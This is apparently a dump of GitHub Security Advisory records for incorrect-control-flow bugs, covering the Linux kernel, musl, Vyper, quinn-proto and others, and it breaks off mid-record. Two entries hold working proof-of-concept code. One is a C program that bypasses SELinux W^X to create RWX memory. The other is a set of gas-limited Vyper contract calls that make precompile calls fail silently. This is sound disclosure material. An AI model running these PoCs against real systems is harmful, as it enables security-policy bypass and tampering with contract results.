CWE-670

{
  "affected": [],
  "aliases": [
    "CVE-2024-47745"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-670"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-10-21T13:15:04Z",
    "severity": "HIGH"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\nmm: call the security_mmap_file() LSM hook in remap_file_pages()\n\nThe remap_file_pages syscall handler calls do_mmap() directly, which\ndoesn\u0027t contain the LSM security check. And if the process has called\npersonality(READ_IMPLIES_EXEC) before and remap_file_pages() is called for\nRW pages, this will actually result in remapping the pages to RWX,\nbypassing a W^X policy enforced by SELinux.\n\nSo we should check prot by security_mmap_file LSM hook in the\nremap_file_pages syscall handler before do_mmap() is called. Otherwise, it\npotentially permits an attacker to bypass a W^X policy enforced by\nSELinux.\n\nThe bypass is similar to CVE-2016-10044, which bypass the same thing via\nAIO and can be found in [1].\n\nThe PoC:\n\n$ cat \u003e test.c\n\nint main(void) {\n\tsize_t pagesz = sysconf(_SC_PAGE_SIZE);\n\tint mfd = syscall(SYS_memfd_create, \"test\", 0);\n\tconst char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE,\n\t\tMAP_SHARED, mfd, 0);\n\tunsigned int old = syscall(SYS_personality, 0xffffffff);\n\tsyscall(SYS_personality, READ_IMPLIES_EXEC | old);\n\tsyscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0);\n\tsyscall(SYS_personality, old);\n\t// show the RWX page exists even if W^X policy is enforced\n\tint fd = open(\"/proc/self/maps\", O_RDONLY);\n\tunsigned char buf2[1024];\n\twhile (1) {\n\t\tint ret = read(fd, buf2, 1024);\n\t\tif (ret \u003c= 0) break;\n\t\twrite(1, buf2, ret);\n\t}\n\tclose(fd);\n}\n\n$ gcc test.c -o test\n$ ./test | grep rwx\n7f1836c34000-7f1836c35000 rwxs 00002000 00:01 2050 /memfd:test (deleted)\n\n[PM: subject line tweaks]",
  "id": "GHSA-qpxg-4f92-ww23",
  "modified": "2025-11-03T21:31:22Z",
  "published": "2024-10-21T15:32:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-47745"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/0f910dbf2f2a4a7820ba4bac7b280f7108aa05b1"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/3393fddbfa947c8e1fdcc4509226905ffffd8b89"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/49d3a4ad57c57227c3b0fd6cd4188b2a5ebd6178"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/ce14f38d6ee9e88e37ec28427b4b93a7c33c70d3"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/ea7e2d5e49c05e5db1922387b09ca74aa40f46e2"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00001.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-40200"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-670"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-10T17:17:14Z",
    "severity": "HIGH"
  },
  "details": "An issue was discovered in musl libc 0.7.10 through 1.2.6. Stack-based memory corruption can occur during qsort of very large arrays, due to incorrectly implemented double-word primitives. The number of elements must exceed about seven million, i.e., the 32nd Leonardo number on 32-bit platforms (or the 64th Leonardo number on 64-bit platforms, which is not practical).",
  "id": "GHSA-qrwv-475h-2439",
  "modified": "2026-04-10T18:31:20Z",
  "published": "2026-04-10T18:31:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40200"
    },
    {
      "type": "WEB",
      "url": "https://musl.libc.org/releases.html"
    },
    {
      "type": "WEB",
      "url": "https://www.openwall.com/lists/oss-security/2026/04/10/13"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/04/10/13"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-32896"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-670",
      "CWE-783"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-06-13T21:15:54Z",
    "severity": "HIGH"
  },
  "details": "there is a possible way to bypass  due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is needed for exploitation.",
  "id": "GHSA-qxgm-2hhj-rw7f",
  "modified": "2025-10-22T00:33:03Z",
  "published": "2024-06-13T21:30:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-32896"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/security/bulletin/pixel/2024-06-01"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-32896"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-12321"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-670"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-16T13:16:32Z",
    "severity": "MODERATE"
  },
  "details": "JIT miscompilation in the JavaScript: WebAssembly component. This vulnerability was fixed in Firefox 152.",
  "id": "GHSA-r946-vv6g-44hh",
  "modified": "2026-06-16T18:32:37Z",
  "published": "2026-06-16T15:33:49Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-12321"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.mozilla.org/show_bug.cgi?id=2032943"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2026-57"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2026-60"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "tough"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.20.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-2886"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-670"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-03-28T22:13:00Z",
    "nvd_published_at": "2025-03-27T23:15:35Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nDelegations are a mechanism defined by the TUF specification that allow multiple different identities to provide and sign content within a single repository. Terminating delegations and delegation priority give a TUF repository unambiguous control over how overlapping delegations are resolved. tough erroneously will not terminate a search as required, and will accept information from a lower-priority delegation that should have been ignored.\n\n## Impact\n\nWhen interacting with TUF repositories that use delegations, the tough client could fetch targets owned by the incorrect role. An actor which had delegated ownership of a subset of a TUF repository could provide arbitrary contents to tough clients for targets owned by the delegating identity.\n\nImpacted versions: \u003c v0.20.0\n\n## Patches\n\nA fix for this issue is available in tough version 0.20.0 and later. Customers are advised to upgrade to version 0.20.0 or later and ensure any forked or derivative code is patched to incorporate the new fixes.\n\n## Workarounds\n\nThere is no recommended work around. Customers are advised to upgrade to version 0.20.0 or the latest version.\n\n## References\n\nIf you have any questions or comments about this advisory we ask that you contact AWS/Amazon Security via our vulnerability reporting page [1] or directly via email to [aws-security@amazon.com](mailto:aws-security@amazon.com). Please do not create a public GitHub issue.\n\n\n[1] Vulnerability reporting page: https://aws.amazon.com/security/vulnerability-reporting\n\n## Acknowledgement\n\nThese issues were identified by the [TUF-Conformance project](https://github.com/theupdateframework/tuf-conformance). We would like to thank Google for collaborating on this issue through the coordinated vulnerability disclosure process.",
  "id": "GHSA-v4wr-j3w6-mxqc",
  "modified": "2025-10-14T21:58:53Z",
  "published": "2025-03-28T22:13:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/awslabs/tough/security/advisories/GHSA-v4wr-j3w6-mxqc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-2886"
    },
    {
      "type": "WEB",
      "url": "https://github.com/awslabs/tough/commit/598111f88105a707ee68b0fa06c52da7176ea96a"
    },
    {
      "type": "WEB",
      "url": "https://aws.amazon.com/security/security-bulletins/AWS-2025-007"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/awslabs/tough"
    },
    {
      "type": "WEB",
      "url": "https://github.com/awslabs/tough/releases/tag/tough-v0.20.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:H/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "tough terminating targets role delegations are not respected"
}

{
  "affected": [],
  "aliases": [
    "CVE-2021-43979"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-670",
      "CWE-755"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-11-17T19:15:00Z",
    "severity": "MODERATE"
  },
  "details": "** DISPUTED ** Styra Open Policy Agent (OPA) Gatekeeper through 3.7.0 mishandles concurrency, sometimes resulting in incorrect access control. The data replication mechanism allows policies to access the Kubernetes cluster state. During data replication, OPA/Gatekeeper does not wait for the replication to finish before processing a request, which might cause inconsistencies between the replicated resources in OPA/Gatekeeper and the resources actually present in the cluster. Inconsistency can later be reflected in a policy bypass. NOTE: the vendor disagrees that this is a vulnerability, because Kubernetes states are only eventually consistent.",
  "id": "GHSA-v8hv-78vf-x9fr",
  "modified": "2022-07-13T00:01:49Z",
  "published": "2022-05-24T19:21:01Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-43979"
    },
    {
      "type": "WEB",
      "url": "https://github.com/hkerma/opa-gatekeeper-concurrency-issue"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-policy-agent/gatekeeper/releases"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c 0.4.1"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "vyper"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-21607"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-670",
      "CWE-703"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-01-14T16:34:20Z",
    "nvd_published_at": "2025-01-14T18:16:05Z",
    "severity": "LOW"
  },
  "details": "### Summary\n\nWhen the Vyper Compiler uses the precompiles EcRecover (0x1) and Identity (0x4), the success flag of the call is not checked. As a consequence an attacker can provide a specific amount of gas to make these calls fail but let the overall execution continue. Then the execution result can be incorrect.\n\nBased on EVM\u0027s rules, after the failed precompile the remaining code has only 1/64 of the pre-call-gas left (as 63/64 were forwarded and spent). Hence, only fairly simple executions can follow the failed precompile calls. Therefore, we found no significantly impacted real-world contracts.\n\nThe fix is tracked in https://github.com/vyperlang/vyper/pull/4451.\n\n### Details\n\n\n#### The relevant precompiles\n\n##### EcRecover\n\nEcRecover is used in vyper\u0027s `ecrecover` built-in. As the precompile consumes 3000 gas, any execution after an out-of-gas EcRecover call has at most 47 gas left.\n\n##### Identity\n\n- The Identity precompile is used in vyper to perform memory copy operations. As its cost is variable, a variable amount of gas might be left after a failed call. The bigger the copy operation, the more gas can be left. Hence, a failed call to Identity could theoretically be followed by successful storage changes or emitted events.\n- Identity is no longer used when `evm-version` `cancun` is used (because `MCOPY` is used instead). In 0.4.0 `cancun` is default, in 0.3.10 `cancun` is an option, otherwise `cancun` is not available. As only pre-`cancun` versions are relevant, we don\u0027t have to consider transient storage operations succeeding a failed call to Identity.\n\n#### The other precompiles\n\n- Calls to `Sha2`, `ecAdd`, and `ecMul` have success checks and have had them for a long time.\n- The precompiles `modexp`, `ripe`, `blake`, `ecPairing`, and `Point Evaluation` have no builtins in vyper.\n\n\n### PoC\n\nIn the following we provide concrete examples of incorrectly generated bytecode. These examples are not optimized, but rather Proof-of-Concepts. The list is also not exhaustive.\n\n#### `ecrecover` use\n\n- Affected versions: 0.2.0 - 0.4.0 \n- For older compiler versions (\u003c=0.3.9) it behaves similarly to this [older advisory](https://github.com/vyperlang/vyper/security/advisories/GHSA-f5x6-7qgp-jhf3). As no data is returned, the previous value of the memory word is returned to the user. Hence, any dirty bytes might be returned. Contracts with older compiler versions and `ecrecover` were checked.\n- For new vyper versions, the output buffer is zeroed, so when the call fails zero is returned. This is an incorrect result, but developers should anyway check for 0 as a failure case. Hence, this is unlikely to result in issues. However, we did search for such cases.\n- As mentioned above at most 47 gas is left after the failed call, hence a `return` is the most realistic scenario to be attacked.\n\nVulnerable Code:\n```py\n@external\n@view\ndef foo(hash: bytes32, v: uint256, r:uint256, s:uint256) -\u003e address:\n    return ecrecover(hash, v, r, s)\n```\n\nProblematic Call:\n```py\nprint(\n    c.foo(\n        binascii.unhexlify(\n            \"6c9c5e133b8aafb2ea74f524a5263495e7ae5701c7248805f7b511d973dc7055\"\n        ),\n        28,\n        78616903610408968922803823221221116251138855211764625814919875002740131251724,\n        37668412420813231458864536126575229553064045345107737433087067088194345044408,\n    )\n)  # Returns 0x9eE53ad38Bb67d745223a4257D7d48cE973FeB7A\n\nprint(\n    c.foo(\n        binascii.unhexlify(\n            \"6c9c5e133b8aafb2ea74f524a5263495e7ae5701c7248805f7b511d973dc7055\"\n        ),\n        28,\n        78616903610408968922803823221221116251138855211764625814919875002740131251724,\n        37668412420813231458864536126575229553064045345107737433087067088194345044408,\n        gas=3000,\n    )\n)  # Returns 0x0000000000000000000000000000000000000000\n```\n\n#### Identity to copy Dynamic Arrays\n\n- Affected versions: 0.3.2 - 0.3.9\n- Dynamic Arrays might be copied on different occasions\n- That copy operation can fail leading to incorrect accesses afterwards\n\nVulnerable Code:\n```py\n\n@external\ndef foo() -\u003e uint256:\n    a: DynArray[uint256, 4000] = [2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n    b: DynArray[uint256, 4000] = a\n    return b[0]\n```\n\nProblematic Call:\n```py\nprint(c.foo())            # Prints 2\nprint(c.foo(gas=170000))  # Prints 0\n```\n\n#### Identity in ABI Encoding of Returndata\n\n- Affected versions: 0.3.2 - 0.4.0\n- Complex types such as Dynamic array with Strings inside need to be abi encoded before being returned\n- In that `return` there is a memory copy which can fail\n\nVulnerable Code:\n```py\n@external\n@view\ndef foo(x: String[1000000], y: String[1000000]) -\u003e DynArray[String[1000000], 2]:\n    z: DynArray[String[1000000], 2] = [x, y]\n    # Some code\n    return z\n```\n\nProblematic Call:\n```py\ncalldata0 = \"a\"*10\ncalldata1 = \"b\"*1000000\nc.foo(calldata0, calldata1)                   # Returns correct data\nc.foo(calldata0, calldata1, gas=48_400_000)   # Returns incorrect data (only first part)\n```\n\n#### Assertion based on data copied through Identity\n\n- Affected versions: 0.2.0 - 0.4.0\n- An incomplete copy operation might falsify the result of a subsequent `assert`\n\n\nVulnerable Code:\n```py\n@internal\ndef bar() -\u003e uint256[3000]:\n    a: uint256[3000] = [2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n    return a\n\n@external\ndef foo():\n    s: uint256[3000] = self.bar()\n    assert(s[0] == 0)\n```\n\nProblematic Call:\n```py\ntry:\n    c.foo()                     # Correctly reverts\nexcept Exception as e:\n    print(\"Correctly reverted\")\ntry:\n    c.foo(gas=210000)           # Incorrectly succeeds\n    print(\"Incorrectly succeeded\")\nexcept Exception:\n    pass\n```\n\n#### Identity used in `raw_revert`\n\n- Affected versions: 0.3.8 - 0.4.0\n- A copy operation might appear as part of raw_revert\n- As a result the revert reason might be incorrect\n\nVulnerable Code:\n```py\n@external\ndef foo(_data: Bytes[10000]):\n    b: Bytes[10000] = _data\n    raw_revert(b)\n```\n\nProblematic Call:\n```py\ncalldata = binascii.unhexlify(\"bb\" * 10_000)\nc.foo(calldata)       # Has correct revert reason\nc.foo(calldata, gas=4_800)       # Has empty revert reason, but not out-of-gas\n```\n\n\n#### Identity to copy static arrays\n\n- Affected versions: 0.2.0 - 0.4.0\n- Vyper might perform a memory copy for static arrays, e.g. when moving them in and out of internal functions\n- As this access is especially cheap (due to the static checks) it can also happen for smaller sizes\n\nVulnerable Code:\n```py\n@external\ndef foo(x: uint256[2500]) -\u003e uint256:\n    s: uint256[2500] = x\n    t: uint256[2500] = s\n    return t[0]\n```\n\nProblematic Call:\n```py\ncalldata = [2] + [0] * 2499\nprint(c.foo(calldata))              # Prints 2\nprint(c.foo(calldata, gas=74500))   # Prints 0\n```\n\n\n#### Identity to copy and return String or Bytes\n\n- Affected versions: 0.20 - 0.4.0\n- Multiple situations in vyper might trigger a memory copy operation, e.g. moving data in and out of internal functions\n- If the target buffer is later returned, incorrect data might be returned\n\nVulnerable Code:\n```py\n@external\n@view\ndef foo(x: String[1000000]) -\u003e String[1000000]:\n    return x\n```\n\nProblematic Call:\n```py\ncalldata = \"a\"*1000000\nx = c.foo(calldata)                 # Returns calldata\ny = c.foo(calldata, gas=8_000_000)  # Returns empty data\n```\n\n\n#### Identity and accessing the length of the target data\n\n- Affected versions: 0.3.10 - 0.4.0\n- Accessing the data is fairly cheap, making it possible for smaller data copies\n\nVulnerable Code:\n```py\n@external\n@view\ndef foo(x: String[1000000]) -\u003e uint256:\n    y: String[1000000] = x\n    return len(y)\n```\n\nProblematic Call:\n```py\ncalldata = \"a\"*1000000\nx = c.foo(calldata)                 # Returns correct length\ny = c.foo(calldata, gas=7_929_200)  # Returns incorrect length\n```\n\n#### Identity to copy and return String or Bytes\n\n- Affected versions: 0.3.10 - 0.4.0\n- Multiple situations in vyper might trigger a memory copy operation, e.g. moving data in and out of internal functions\n- If the target buffer is later returned, incorrect data might be returned\n\nVulnerable Code:\n```py\n@external\n@view\ndef foo(x: String[1000000]) -\u003e String[1000000]:\n    return x\n```\n\nProblematic Call:\n```py\ncalldata = \"a\"*1000000\nx = c.foo(calldata)                 # Returns calldata\ny = c.foo(calldata, gas=8_000_000)  # Returns empty data\n```\n\n### Impact\n\nA contract search was conducted and yielded no significant results.\n\nThe advisory was rated a medium because the likelihood is low, but difficult to detect by source code analysis alone, and could yield unexpected results if a contract is affected by the bug.",
  "id": "GHSA-vgf2-gvx8-xwc3",
  "modified": "2025-04-24T14:39:58Z",
  "published": "2025-01-14T16:34:20Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/vyperlang/vyper/security/advisories/GHSA-vgf2-gvx8-xwc3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-21607"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vyperlang/vyper/pull/4451"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vyperlang/vyper/commit/7136eab0a254aa2ff7ddca41cc05f2ee1fa99caf"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/vyper/PYSEC-2025-33.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/vyperlang/vyper"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Vyper Does Not Check the Success of Certain Precompile Calls"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "quinn-proto"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.11.0"
            },
            {
              "fixed": "0.11.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-45311"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-670"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-09-03T20:49:26Z",
    "nvd_published_at": "2024-09-02T18:15:37Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nAs of quinn-proto 0.11, it is possible for a server to `accept()`, `retry()`, `refuse()`, or `ignore()` an `Incoming` connection. However, calling `retry()` on an unvalidated connection exposes the server to a likely panic in the following situations:\n\n- Calling `refuse` or `ignore` on the resulting validated connection, if a duplicate initial packet is received\n  - This issue can go undetected until a server\u0027s `refuse()`/`ignore()` code path is exercised, such as to stop a denial of service attack.\n- Accepting when the initial packet for the resulting validated connection fails to decrypt or exhausts connection IDs, if a similar initial packet that successfully decrypts and doesn\u0027t exhaust connection IDs is received.\n  - This issue can go undetected if clients are well-behaved.\n\nThe former situation was observed in a real application, while the latter is only theoretical.\n\n### Details\n\nLocation of panic: https://github.com/quinn-rs/quinn/blob/bb02a12a8435a7732a1d762783eeacbb7e50418e/quinn-proto/src/endpoint.rs#L213\n\n### Impact\nDenial of service for internet-facing server",
  "id": "GHSA-vr26-jcq5-fjj8",
  "modified": "2024-09-09T14:20:32Z",
  "published": "2024-09-03T20:49:26Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/quinn-rs/quinn/security/advisories/GHSA-vr26-jcq5-fjj8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-45311"
    },
    {
      "type": "WEB",
      "url": "https://github.com/quinn-rs/quinn/commit/e01609ccd8738bd438d86fa7185a0f85598cb58f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/quinn-rs/quinn"
    },
    {
      "type": "WEB",
      "url": "https://github.com/quinn-rs/quinn/blob/bb02a12a8435a7732a1d762783eeacbb7e50418e/quinn-proto/src/endpoint.rs#L213"
    },
    {
      "type": "WEB",
      "url": "https://rustsec.org/advisories/RUSTSEC-2024-0373.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Denial of service in quinn-proto when using `Endpoint::retry()`"
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-33199"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-670"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-11-25T18:15:51Z",
    "severity": "LOW"
  },
  "details": "NVIDIA DGX Spark GB10 contains a vulnerability in SROOT firmware, where an attacker could cause incorrect control flow behavior. A successful exploit of this vulnerability might lead to data tampering.",
  "id": "GHSA-vw24-hhmf-xp64",
  "modified": "2025-11-25T18:32:23Z",
  "published": "2025-11-25T18:32:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-33199"
    },
    {
      "type": "WEB",
      "url": "https://nvidia.custhelp.com/app/answers/detail/a_id/5720"
    },
    {
      "type": "WEB",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-33199"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "vyper"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.3.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-32675"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-670"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-05-22T20:35:46Z",
    "nvd_published_at": "2023-05-19T20:15:09Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\nin contracts with at least one regular nonpayable function, due to the callvalue check being inside of the selector section, it is possible to send funds to the default function by using less than 4 bytes of calldata, even if the default function is marked `nonpayable`. this applies to contracts compiled with vyper\u003c=0.3.7.\n```vyper\n# @version 0.3.7\n\n# implicitly nonpayable\n@external\ndef foo() -\u003e uint256:\n    return 1\n\n# implicitly nonpayable\n@external\ndef __default__():\n    # could receive ether here\n    pass\n```\n\n### Patches\nthis was fixed by the removal of the global calldatasize check in https://github.com/vyperlang/vyper/commit/02339dfda0f3caabad142060d511d10bfe93c520.\n\n### Workarounds\ndon\u0027t use nonpayable default functions\n\n",
  "id": "GHSA-vxmm-cwh2-q762",
  "modified": "2024-11-19T16:42:42Z",
  "published": "2023-05-22T20:35:46Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/vyperlang/vyper/security/advisories/GHSA-vxmm-cwh2-q762"
    },
    {
      "type": "ADVISORY",
